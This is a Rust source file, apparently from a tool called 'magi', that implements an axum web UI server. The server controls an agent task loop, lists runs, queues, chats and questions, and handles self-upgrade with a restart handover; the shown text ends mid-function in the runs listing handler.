1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::extract::rejection::JsonRejection;
106use axum::extract::{Path, Query, State};
107use axum::http::{HeaderValue, StatusCode, header};
108use axum::response::sse::{Event, KeepAlive, Sse};
109use axum::response::{IntoResponse, Response};
110use axum::routing::{delete, get, post};
111use jiff::Timestamp;
112use serde::{Deserialize, Serialize};
113use tokio_stream::StreamExt as _;
114use tokio_stream::wrappers::ReceiverStream;
115
116use crate::ask::{Answer, Question, Questions};
117use crate::chat::{Chat, Chats};
118use crate::config::Config;
119use crate::md;
120use crate::proc::Quiet as _;
121use crate::queue::{Queue, Task, title_from};
122use crate::run::{RunState, RunStatus};
123use crate::talk::{Talk, Talks};
124use crate::{chat, daemon, report, repos, run, talk};
125
126pub const DEFAULT_PORT: u16 = 7878;
128
129const POLL: Duration = Duration::from_secs(1);
131
132const KEEPALIVE: Duration = Duration::from_secs(15);
136
137const LIST_DEFAULT: usize = 50;
141const LIST_MAX: usize = 500;
143
144const TITLE_MAX: usize = 72;
146
147const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
170 font-src data:; base-uri 'none'; form-action 'none'; \
171 frame-ancestors 'self'";
172
173const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
174const APP_CSS: &str = include_str!("../assets/ui/app.css");
175const APP_JS: &str = include_str!("../assets/ui/app.js");
176
177#[derive(Debug, Clone, Copy, PartialEq, Eq)]
179pub enum Bind {
180 Auto,
182 Addr(IpAddr),
184}
185
186impl std::str::FromStr for Bind {
187 type Err = String;
188
189 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
193 if s.eq_ignore_ascii_case("auto") {
194 return Ok(Self::Auto);
195 }
196 s.parse()
197 .map(Self::Addr)
198 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
199 }
200}
201
202impl std::fmt::Display for Bind {
203 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
204 match self {
205 Self::Auto => f.write_str("auto"),
206 Self::Addr(addr) => write!(f, "{addr}"),
207 }
208 }
209}
210
211#[derive(Debug, Clone)]
213pub struct Opts {
214 pub bind: Bind,
216 pub port: u16,
218 pub repo: PathBuf,
220 pub open: bool,
223 pub merge: Option<String>,
231}
232
233impl Default for Opts {
234 fn default() -> Self {
235 Self {
236 bind: Bind::Auto,
237 port: DEFAULT_PORT,
238 repo: PathBuf::from("."),
239 open: false,
240 merge: None,
241 }
242 }
243}
244
245#[derive(Debug, Clone)]
251pub struct Ui {
252 queue: Queue,
253 questions: Questions,
254 chats: Chats,
255 talks: Talks,
256 runs: PathBuf,
257 home: PathBuf,
258 repo: PathBuf,
259 worktrees_root: PathBuf,
266 turns: Arc<Mutex<HashSet<String>>>,
274 talk_turns: Arc<Mutex<HashSet<String>>>,
279 resuming: Arc<Mutex<HashSet<String>>>,
286 repos_cache: repos::Cache,
290 merge: Option<String>,
292 looping: Arc<Mutex<LoopState>>,
294 launch: Launch,
306}
307
308impl Ui {
309 pub fn new(
311 queue: Queue,
312 questions: Questions,
313 chats: Chats,
314 talks: Talks,
315 runs: PathBuf,
316 home: PathBuf,
317 repo: PathBuf,
318 ) -> Self {
319 Self {
320 queue,
321 questions,
322 chats,
323 talks,
324 runs,
325 home,
326 repo,
327 worktrees_root: run::default_worktree_root(),
331 turns: Arc::default(),
332 talk_turns: Arc::default(),
333 resuming: Arc::default(),
334 repos_cache: repos::Cache::new(),
335 merge: None,
336 looping: Arc::default(),
337 launch: launch_daemon,
338 }
339 }
340
341 pub fn open(repo: PathBuf) -> Self {
344 Self::new(
345 Queue::open(),
346 Questions::open(),
347 Chats::open(),
348 Talks::open(),
349 run::runs_root(),
350 run::home(),
351 repo,
352 )
353 }
354
355 #[must_use]
362 pub fn with_merge(mut self, merge: Option<String>) -> Self {
363 self.merge = merge;
364 self
365 }
366
367 #[must_use]
372 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
373 self.worktrees_root = root;
374 self
375 }
376
377 #[cfg(test)]
382 #[must_use]
383 fn with_launch(mut self, launch: Launch) -> Self {
384 self.launch = launch;
385 self
386 }
387
388 fn looping(&self) -> Arc<Mutex<LoopState>> {
390 Arc::clone(&self.looping)
391 }
392
393 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
400 if let Some(other) = foreign {
401 return Err(ApiError::conflict(format!(
402 "{} is already running the loop, so this one will not start a \
403 second: two loops on one queue race for the same claims and \
404 burn the agent quota twice over. Stop it where it was \
405 started.",
406 other.who()
407 )));
408 }
409 let mut state = self.lock_loop();
410 if state.live.as_ref().is_some_and(Live::alive) {
411 return Err(ApiError::conflict(format!(
412 "this magi web process (pid {}) is already running the loop",
413 std::process::id()
414 )));
415 }
416
417 let stop = daemon::Stop::new();
418 let opts = daemon::Opts {
422 repo: self.repo.clone(),
423 merge: self.merge.clone(),
424 ..daemon::Opts::default()
425 };
426 let launch = self.launch;
427 let looping = Arc::clone(&self.looping);
428 let handle = tokio::spawn({
429 let opts = opts.clone();
430 let stop = stop.clone();
431 async move {
432 let failure = match launch(opts, stop).await {
433 Ok(()) => None,
434 Err(e) => Some(format!("{e:#}")),
435 };
436 match &failure {
437 Some(why) => tracing::error!("the loop stopped: {why}"),
438 None => tracing::info!("the loop stopped"),
439 }
440 let mut state = lock_or_recover(&looping);
446 state.live = None;
447 state.last_error = failure;
448 state.rev += 1;
449 }
450 });
451 tracing::info!(
452 "the loop is now running in this process: repo {}, merge {}",
453 opts.repo.display(),
454 opts.merge.as_deref().unwrap_or("as the config says")
455 );
456 state.live = Some(Live { stop, handle, opts });
457 state.last_error = None;
460 state.rev += 1;
461 Ok(())
462 }
463
464 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
470 if let Some(other) = foreign {
471 return Err(ApiError::conflict(format!(
472 "the loop belongs to {}, and this process cannot stop it - \
473 stop it where it was started. A button that silently did \
474 nothing would be worse than this refusal.",
475 other.who()
476 )));
477 }
478 let mut state = self.lock_loop();
479 let Some(live) = state.live.as_ref() else {
480 return Ok(());
481 };
482 if live.stop.stopped() && (!park || live.stop.parking()) {
486 return Ok(());
487 }
488 if park {
489 live.stop.park();
490 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
491 } else {
492 live.stop.stop();
493 tracing::info!("the loop was asked to stop; a run in flight is finished first");
494 }
495 state.rev += 1;
496 Ok(())
497 }
498
499 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
506 let state = self.lock_loop();
507 let live = state.live.as_ref().filter(|live| live.alive());
510 LoopView {
511 running: live.is_some(),
512 stopping: live.is_some_and(|live| live.stop.finishing()),
513 parking: live.is_some_and(|live| live.stop.parking()),
514 owned: live.is_some(),
515 repo: live
516 .map_or(&self.repo, |live| &live.opts.repo)
517 .display()
518 .to_string(),
519 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
520 last_error: state.last_error.clone(),
521 daemon: DaemonView::of(reading),
522 }
523 }
524
525 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
527 lock_or_recover(&self.looping)
528 }
529
530 fn begin_turn(&self, id: &str) -> ApiResult<TurnGuard> {
553 let mut live = self
554 .turns
555 .lock()
556 .map_err(|_| ApiError::internal("the chat turn lock was poisoned"))?;
557 if !live.insert(id.to_owned()) {
558 return Err(ApiError::conflict(format!(
559 "chat {id} is already taking a turn"
560 )));
561 }
562 Ok(TurnGuard {
563 chat: id.to_owned(),
564 turns: Arc::clone(&self.turns),
565 })
566 }
567
568 fn begin_talk_turn(&self, id: &str) -> ApiResult<TalkTurnGuard> {
572 let mut live = self
573 .talk_turns
574 .lock()
575 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
576 if !live.insert(id.to_owned()) {
577 return Err(ApiError::conflict(format!(
578 "talk {id} is already taking a turn"
579 )));
580 }
581 Ok(TalkTurnGuard {
582 talk: id.to_owned(),
583 turns: Arc::clone(&self.talk_turns),
584 })
585 }
586
587 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
594 let parking = {
595 let mut state = self.lock_loop();
596 let Some(live) = state.live.as_ref() else {
597 return Ok(None);
598 };
599 let busy = live.stop.busy_now();
600 live.stop.park();
601 state.rev += 1;
602 busy
603 };
604 Ok(if parking {
605 daemon::current_work(&self.home, jiff::Timestamp::now()).map(|c| c.run)
606 } else {
607 None
608 })
609 }
610
611 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
615 let mut live = self
616 .resuming
617 .lock()
618 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
619 if !live.insert(id.to_owned()) {
620 return Err(ApiError::conflict(format!(
621 "run {id} is already being resumed"
622 )));
623 }
624 Ok(ResumeGuard {
625 run: id.to_owned(),
626 resuming: Arc::clone(&self.resuming),
627 })
628 }
629
630 pub fn router(self) -> Router {
638 Router::new()
639 .route("/", get(index))
640 .route("/app.css", get(app_css))
641 .route("/app.js", get(app_js))
642 .route("/api/health", get(health))
643 .route("/api/loop", get(loop_get).post(loop_post))
644 .route("/api/upgrade", post(upgrade_post))
645 .route("/api/runs", get(runs_list))
646 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
647 .route("/api/runs/{id}/report", get(run_report))
648 .route("/api/runs/{id}/fold", post(run_fold))
649 .route("/api/runs/{id}/resume", post(run_resume))
650 .route("/api/queue", get(queue_list))
651 .route("/api/queue/{id}", delete(queue_delete))
652 .route("/api/repos", get(repos_list))
653 .route("/api/queue/{id}/hold", post(queue_hold))
654 .route("/api/queue/{id}/release", post(queue_release))
655 .route("/api/questions", get(questions_list))
656 .route("/api/questions/{id}/answer", post(question_answer))
657 .route("/api/questions/{id}/panel", get(question_panel))
658 .route("/api/questions/{id}/panel/index.html", get(question_panel))
666 .route("/api/questions/{id}/panel/{name}", get(question_asset))
667 .route("/api/questions/{id}/asset/{name}", get(question_asset))
668 .route("/api/chats", get(chats_list).post(chat_post))
669 .route("/api/chats/{id}", get(chat_detail))
670 .route("/api/chats/{id}/say", post(chat_say))
671 .route("/api/chats/{id}/file", post(chat_file))
672 .route("/api/talks", get(talks_list).post(talk_post))
673 .route("/api/talks/{id}", get(talk_detail))
674 .route("/api/talks/{id}/say", post(talk_say))
675 .route("/api/talks/{id}/close", post(talk_close))
676 .route("/api/events", get(events))
677 .with_state(Arc::new(self))
678 }
679}
680
681#[derive(Debug)]
687struct TurnGuard {
688 chat: String,
689 turns: Arc<Mutex<HashSet<String>>>,
690}
691
692impl Drop for TurnGuard {
693 fn drop(&mut self) {
694 if let Ok(mut live) = self.turns.lock() {
695 live.remove(&self.chat);
696 }
697 }
698}
699
700#[derive(Debug)]
702struct TalkTurnGuard {
703 talk: String,
704 turns: Arc<Mutex<HashSet<String>>>,
705}
706
707impl Drop for TalkTurnGuard {
708 fn drop(&mut self) {
709 if let Ok(mut live) = self.turns.lock() {
710 live.remove(&self.talk);
711 }
712 }
713}
714
715struct ResumeGuard {
717 run: String,
718 resuming: Arc<Mutex<HashSet<String>>>,
719}
720
721impl Drop for ResumeGuard {
722 fn drop(&mut self) {
723 if let Ok(mut live) = self.resuming.lock() {
724 live.remove(&self.run);
725 }
726 }
727}
728
729async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
739 const WINDOW: Duration = Duration::from_secs(10);
740 const GAP: Duration = Duration::from_millis(250);
741
742 let deadline = std::time::Instant::now() + WINDOW;
743 let mut said = false;
744 loop {
745 match tokio::net::TcpListener::bind(socket).await {
746 Ok(listener) => return Ok(listener),
747 Err(e)
748 if e.kind() == std::io::ErrorKind::AddrInUse
749 && std::time::Instant::now() < deadline =>
750 {
751 if !said {
752 said = true;
753 tracing::info!(
754 "{socket} is still held - waiting up to {}s for it, \
755 which is what a restart looks like from here",
756 WINDOW.as_secs()
757 );
758 }
759 tokio::time::sleep(GAP).await;
760 }
761 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
762 }
763 }
764}
765
766static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
769
770fn spawn_successor() -> Result<()> {
782 let exe = std::env::current_exe().context("find this binary")?;
783 let args: Vec<String> = std::env::args().skip(1).collect();
784 tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
785
786 let mut cmd = std::process::Command::new(&exe);
787 cmd.args(&args)
788 .stdin(std::process::Stdio::null())
789 .stdout(std::process::Stdio::null())
790 .stderr(std::process::Stdio::null());
791 #[cfg(windows)]
792 {
793 use std::os::windows::process::CommandExt as _;
794 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
797 }
798 cmd.spawn().context("start the successor")?;
799 Ok(())
800}
801
802pub async fn serve(opts: Opts) -> Result<()> {
827 let (addr, warning) = resolve_bind(&opts.bind);
828 if let Some(warning) = warning {
829 tracing::warn!("{warning}");
830 }
831
832 report::set_color(false);
838
839 let ui = Ui::open(opts.repo).with_merge(opts.merge);
840 let looping = ui.looping();
841 let socket = SocketAddr::new(addr, opts.port);
842 let listener = bind_waiting(socket).await?;
843 let url = format!("http://{addr}:{}", opts.port);
844 tracing::info!(
845 "magi web UI on {url} - there is no authentication, so anyone who can \
846 reach this address can file and hold tasks: the tailnet is the \
847 security boundary"
848 );
849 tracing::info!(
850 "the queue loop is not running yet - start it from the UI, which is \
851 the whole reason this process can: nothing in the queue moves until \
852 something is running the loop"
853 );
854 if opts.open {
855 println!("{url}");
859 }
860
861 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
864 let interrupted = async {
865 if tokio::signal::ctrl_c().await.is_err() {
866 std::future::pending::<()>().await;
871 }
872 };
873 let handover = HANDOVER.notified();
874 tokio::select! {
875 joined = &mut served => match joined {
876 Ok(outcome) => outcome.context("serve the web UI"),
877 Err(e) => Err(e).context("the task serving the web UI ended"),
878 },
879 () = interrupted => {
880 tracing::info!("shutting down the web UI");
881 finish_loop(&looping).await;
882 Ok(())
883 }
884 () = handover => {
885 tracing::info!("upgraded - handing this address to the successor");
886 hand_over(&looping, served, spawn_successor).await
887 }
888 }
889}
890
891async fn hand_over(
914 looping: &Mutex<LoopState>,
915 served: tokio::task::JoinHandle<std::io::Result<()>>,
916 successor: impl FnOnce() -> Result<()>,
917) -> Result<()> {
918 finish_loop(looping).await;
919 served.abort();
920 let _ = served.await;
921 successor()
922}
923
924async fn finish_loop(state: &Mutex<LoopState>) {
931 let live = lock_or_recover(state).live.take();
932 let Some(live) = live else { return };
933 live.stop.stop();
934 lock_or_recover(state).rev += 1;
935 tracing::info!("waiting for the loop to finish the run in flight");
936 let _ = live.handle.await;
939}
940
941pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
947 match bind {
948 Bind::Addr(addr) => (*addr, None),
949 Bind::Auto => match tailscale_ip() {
950 Ok(ip) => (IpAddr::V4(ip), None),
951 Err(why) => (
952 IpAddr::V4(Ipv4Addr::LOCALHOST),
953 Some(format!(
954 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
955 local-only and a phone cannot reach it; start Tailscale \
956 or pass --bind <addr>"
957 )),
958 ),
959 },
960 }
961}
962
963fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
971 let out = std::process::Command::new("tailscale")
972 .args(["ip", "-4"])
973 .quiet()
974 .output()
975 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
976 if !out.status.success() {
977 let why = String::from_utf8_lossy(&out.stderr);
978 let why = why.trim();
979 return Err(format!(
980 "`tailscale ip -4` failed ({}){}",
981 out.status,
982 if why.is_empty() {
983 String::new()
984 } else {
985 format!(": {why}")
986 }
987 ));
988 }
989 String::from_utf8_lossy(&out.stdout)
990 .lines()
991 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
992 .find(is_tailnet)
993 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
994}
995
996fn is_tailnet(ip: &Ipv4Addr) -> bool {
998 let o = ip.octets();
999 o[0] == 100 && (64..=127).contains(&o[1])
1000}
1001
1002type ApiResult<T> = std::result::Result<T, ApiError>;
1006
1007#[derive(Debug)]
1009struct ApiError {
1010 status: StatusCode,
1011 message: String,
1012 problems: Vec<String>,
1022}
1023
1024impl ApiError {
1025 fn bad_request(message: impl Into<String>) -> Self {
1027 Self {
1028 status: StatusCode::BAD_REQUEST,
1029 message: message.into(),
1030 problems: Vec::new(),
1031 }
1032 }
1033
1034 fn bad_request_with(message: impl Into<String>, problems: Vec<String>) -> Self {
1036 Self {
1037 problems,
1038 ..Self::bad_request(message)
1039 }
1040 }
1041
1042 fn not_found(message: impl Into<String>) -> Self {
1044 Self {
1045 status: StatusCode::NOT_FOUND,
1046 message: message.into(),
1047 problems: Vec::new(),
1048 }
1049 }
1050
1051 fn with_status(mut self, status: StatusCode) -> Self {
1054 self.status = status;
1055 self
1056 }
1057
1058 fn bad_request_from(e: anyhow::Error) -> Self {
1062 Self::bad_request(format!("{e:#}"))
1063 }
1064
1065 fn conflict(message: impl Into<String>) -> Self {
1066 Self {
1067 status: StatusCode::CONFLICT,
1068 message: message.into(),
1069 problems: Vec::new(),
1070 }
1071 }
1072
1073 fn internal(message: impl Into<String>) -> Self {
1075 Self {
1076 status: StatusCode::INTERNAL_SERVER_ERROR,
1077 message: message.into(),
1078 problems: Vec::new(),
1079 }
1080 }
1081}
1082
1083impl From<anyhow::Error> for ApiError {
1084 fn from(e: anyhow::Error) -> Self {
1089 Self::internal(format!("{e:#}"))
1090 }
1091}
1092
1093impl IntoResponse for ApiError {
1094 fn into_response(self) -> Response {
1095 let mut body = serde_json::json!({ "error": self.message });
1096 if !self.problems.is_empty() {
1097 if let Some(map) = body.as_object_mut() {
1099 map.insert("problems".to_owned(), serde_json::json!(self.problems));
1100 }
1101 }
1102 (self.status, Json(body)).into_response()
1103 }
1104}
1105
1106async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1115where
1116 T: Send + 'static,
1117{
1118 match tokio::task::spawn_blocking(job).await {
1119 Ok(result) => result,
1120 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1121 }
1122}
1123
1124const ASSET_CACHE: &str = "no-cache, must-revalidate";
1142
1143fn asset_etag() -> &'static str {
1150 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1151 format!(
1152 "\"{}-{}\"",
1153 env!("CARGO_PKG_VERSION"),
1154 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1159 )
1160 });
1161 &TAG
1162}
1163
1164fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1166 [
1167 (header::CONTENT_TYPE, mime),
1168 (header::CACHE_CONTROL, ASSET_CACHE),
1169 (header::ETAG, asset_etag()),
1170 ]
1171}
1172
1173fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1181 let tag = asset_etag();
1182 let known = headers
1183 .get(header::IF_NONE_MATCH)
1184 .and_then(|v| v.to_str().ok())
1185 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1189 if known {
1190 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1191 }
1192 (asset_headers(mime), body).into_response()
1193}
1194
1195async fn index(headers: header::HeaderMap) -> Response {
1196 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1197}
1198
1199async fn app_css(headers: header::HeaderMap) -> Response {
1200 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1201}
1202
1203async fn app_js(headers: header::HeaderMap) -> Response {
1204 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1205}
1206
1207#[derive(Debug, Serialize)]
1209struct HealthView {
1210 version: &'static str,
1211 home: String,
1212 queue_rev: u64,
1213 runs_rev: u64,
1214 questions_rev: u64,
1226 chats_rev: u64,
1228 talks_rev: u64,
1233 loop_rev: u64,
1238 runs_unreadable: usize,
1246 disk: DiskView,
1254 questions_open: usize,
1259 chats_open: usize,
1267 daemon: DaemonView,
1268 #[serde(rename = "loop")]
1274 looping: LoopView,
1275}
1276
1277#[derive(Debug, Serialize)]
1282struct DiskView {
1283 #[serde(skip_serializing_if = "Option::is_none")]
1285 free_bytes: Option<u64>,
1286 runs_bytes: u64,
1288 worktrees_bytes: u64,
1290 #[serde(skip_serializing_if = "Option::is_none")]
1292 cache_bytes: Option<u64>,
1293}
1294
1295impl DiskView {
1296 fn of(ui: &Ui) -> Self {
1298 let cache_bytes = Config::discover(&ui.repo, None)
1299 .ok()
1300 .and_then(|(cfg, _)| cfg.cache_dir())
1301 .map(|dir| crate::disk::dir_size(&dir));
1302 Self {
1303 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1304 runs_bytes: crate::disk::dir_size(&ui.runs),
1305 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1306 cache_bytes,
1307 }
1308 }
1309}
1310
1311#[derive(Debug, Serialize)]
1313struct DaemonView {
1314 running: bool,
1315 idle: Option<bool>,
1316 pid: Option<u32>,
1317 current: Option<daemon::Current>,
1318 completed: Option<u64>,
1319 stale_for_secs: Option<i64>,
1320}
1321
1322impl DaemonView {
1323 fn of(status: Option<daemon::Reading>) -> Self {
1327 let Some(status) = status else {
1328 return Self {
1329 running: false,
1330 idle: None,
1331 pid: None,
1332 current: None,
1333 completed: None,
1334 stale_for_secs: None,
1335 };
1336 };
1337 let now = Timestamp::now();
1338 let age = status.age_secs(now);
1339 Self {
1340 running: status.running(now),
1341 idle: Some(status.idle),
1342 pid: status.pid,
1343 current: status.current,
1344 completed: Some(status.completed),
1345 stale_for_secs: age,
1346 }
1347 }
1348}
1349
1350async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1351 blocking(move || {
1352 let reading = daemon::read_status(&ui.home);
1356 let loop_rev = ui.lock_loop().rev;
1360 Ok(Json(HealthView {
1361 version: env!("CARGO_PKG_VERSION"),
1362 home: ui.home.display().to_string(),
1363 queue_rev: ui.queue.revision(),
1364 runs_rev: runs_revision(&ui.runs),
1365 questions_rev: ui.questions.revision(),
1366 chats_rev: ui.chats.revision(),
1367 talks_rev: ui.talks.revision(),
1368 loop_rev,
1369 runs_unreadable: runs_unreadable(&ui.runs),
1370 questions_open: ui.questions.count_open(),
1371 chats_open: ui.chats.count_open(),
1372 daemon: DaemonView::of(reading.clone()),
1373 looping: ui.loop_view(reading),
1374 disk: DiskView::of(&ui),
1375 }))
1376 })
1377 .await
1378}
1379
1380#[derive(Debug, Serialize)]
1382struct LoopView {
1383 running: bool,
1385 stopping: bool,
1393 parking: bool,
1401 owned: bool,
1409 repo: String,
1412 merge: Option<String>,
1415 last_error: Option<String>,
1423 daemon: DaemonView,
1426}
1427
1428#[derive(Debug, Clone, Copy)]
1437struct Foreign {
1438 pid: Option<u32>,
1440}
1441
1442impl Foreign {
1443 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1446 let reading = reading?;
1447 if !reading.running(Timestamp::now()) {
1448 return None;
1449 }
1450 match reading.pid {
1451 Some(pid) if pid == std::process::id() => None,
1452 pid => Some(Self { pid }),
1456 }
1457 }
1458
1459 fn who(&self) -> String {
1462 match self.pid {
1463 Some(pid) => format!("another magi process (pid {pid})"),
1464 None => "another magi process".to_owned(),
1465 }
1466 }
1467}
1468
1469type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1474
1475fn launch_daemon(
1477 opts: daemon::Opts,
1478 stop: daemon::Stop,
1479) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1480 Box::pin(daemon::serve_until(opts, stop))
1481}
1482
1483#[derive(Debug, Default)]
1485struct LoopState {
1486 live: Option<Live>,
1488 rev: u64,
1496 last_error: Option<String>,
1499}
1500
1501#[derive(Debug)]
1503struct Live {
1504 stop: daemon::Stop,
1506 handle: tokio::task::JoinHandle<()>,
1511 opts: daemon::Opts,
1515}
1516
1517impl Live {
1518 fn alive(&self) -> bool {
1520 !self.handle.is_finished()
1521 }
1522}
1523
1524fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1531 state.lock().unwrap_or_else(PoisonError::into_inner)
1532}
1533
1534async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1536 blocking(move || {
1537 let reading = daemon::read_status(&ui.home);
1538 Ok(Json(ui.loop_view(reading)))
1539 })
1540 .await
1541}
1542
1543#[derive(Debug, Deserialize)]
1549#[serde(deny_unknown_fields)]
1550struct LoopCommand {
1551 running: bool,
1552 #[serde(default)]
1562 park: bool,
1563}
1564
1565async fn loop_post(
1573 State(ui): State<Arc<Ui>>,
1574 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1575) -> ApiResult<Json<LoopView>> {
1576 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1579 blocking(move || {
1580 let reading = daemon::read_status(&ui.home);
1581 let foreign = Foreign::of(reading.as_ref());
1582 if body.running {
1583 ui.start_loop(foreign)?;
1584 } else {
1585 ui.stop_loop(foreign, body.park)?;
1586 }
1587 Ok(Json(ui.loop_view(reading)))
1588 })
1589 .await
1590}
1591
1592#[derive(Debug, Serialize)]
1594struct UpgradeView {
1595 from: String,
1597 to: Option<String>,
1599 parked: Option<String>,
1601 detail: String,
1603}
1604
1605async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
1629 let reading = daemon::read_status(&ui.home);
1630 if let Some(other) = Foreign::of(reading.as_ref()) {
1631 return Err(ApiError::conflict(format!(
1632 "the loop belongs to {}, so replacing this binary would leave \
1633 that process running an old one against the same queue. Upgrade \
1634 where it was started.",
1635 other.who()
1636 )));
1637 }
1638
1639 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
1644 let latest = match crate::updater::Checker::new(&cfg.update) {
1645 Some(checker) => checker
1646 .newer_release()
1647 .await
1648 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
1649 None => None,
1650 };
1651 let Some(latest) = latest else {
1652 return Ok((
1653 StatusCode::OK,
1654 Json(UpgradeView {
1655 from: env!("CARGO_PKG_VERSION").to_owned(),
1656 to: None,
1657 parked: None,
1658 detail: "Already on the newest release. Nothing was parked \
1659 and nothing restarted."
1660 .to_owned(),
1661 }),
1662 ));
1663 };
1664
1665 let parked = ui.park_for_upgrade()?;
1668 let detail = match &parked {
1669 Some(run) => format!(
1674 "Run {} is parking at its next step, which can take as long as \
1675 the step it is on - up to an hour for an implement wave. The \
1676 deck replaces itself once it parks, comes back, and the loop \
1677 carries that run on from where it stopped. Nothing is lost if \
1678 you close this.",
1679 crate::run::short_of(run)
1680 ),
1681 None => "The deck replaces itself and comes back. Nothing was in \
1682 flight to park."
1683 .to_owned(),
1684 };
1685
1686 tokio::spawn(async move {
1687 if let Err(e) = upgrade_and_restart().await {
1688 tracing::error!("the upgrade did not complete: {e:#}");
1689 }
1690 });
1691
1692 Ok((
1693 StatusCode::ACCEPTED,
1694 Json(UpgradeView {
1695 from: env!("CARGO_PKG_VERSION").to_owned(),
1696 to: Some(latest.tag_name.clone()),
1697 parked,
1698 detail,
1699 }),
1700 ))
1701}
1702
1703async fn upgrade_and_restart() -> Result<()> {
1708 crate::updater::run_self_update(true, false, true).await?;
1711 tracing::info!("binary replaced - asking the server to hand over");
1712 HANDOVER.notify_one();
1713 Ok(())
1714}
1715
1716#[derive(Debug, Serialize)]
1722struct RunSummary {
1723 id: String,
1724 short: String,
1725 status: String,
1726 done: bool,
1727 instruction: String,
1728 title: String,
1729 repo: String,
1730 repo_name: String,
1731 created_at: String,
1732 updated_at: String,
1733 candidates: usize,
1734 viable: usize,
1735 judges: usize,
1736 winner: Option<char>,
1737 reviews: usize,
1738 quota_losses: usize,
1739 event: Option<String>,
1740 superseded_by: Option<String>,
1745 waiting: bool,
1752 pr: Option<crate::run::PrRecord>,
1754}
1755
1756impl RunSummary {
1757 fn of(state: &RunState, waiting: bool) -> Self {
1758 Self {
1759 id: state.id.clone(),
1760 short: state.short().to_owned(),
1761 status: status_word(state.status),
1762 done: state.status.done(),
1763 instruction: state.instruction.clone(),
1764 title: title_from(&state.instruction, TITLE_MAX),
1765 repo: state.repo.display().to_string(),
1766 repo_name: state
1767 .repo
1768 .file_name()
1769 .map(|n| n.to_string_lossy().into_owned())
1770 .unwrap_or_default(),
1771 created_at: state.created_at.to_string(),
1772 updated_at: state.updated_at.to_string(),
1773 candidates: state.candidates.len(),
1774 viable: state.viable().len(),
1775 judges: state.config.graph.judges,
1776 winner: state.winner().map(|c| c.label),
1777 reviews: state.reviews.len(),
1778 quota_losses: state.quota.len(),
1779 event: state.events.last().map(|e| e.message.clone()),
1780 waiting,
1781 superseded_by: None,
1784 pr: state.pr.clone(),
1785 }
1786 }
1787}
1788
1789fn status_word(status: RunStatus) -> String {
1792 status.as_str().to_owned()
1796}
1797
1798#[derive(Debug, Deserialize)]
1800struct ListQuery {
1801 #[serde(default)]
1802 limit: Option<usize>,
1803}
1804
1805async fn runs_list(
1806 State(ui): State<Arc<Ui>>,
1807 Query(q): Query<ListQuery>,
1808) -> ApiResult<Json<Vec<RunSummary>>> {
1809 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
1810 blocking(move || {
1811 let superseded = superseded_runs(&ui.queue);
1812 let summaries = run_ids(&ui.runs)
1813 .into_iter()
1814 .filter_map(|id| read_run(&ui.runs, &id).ok())
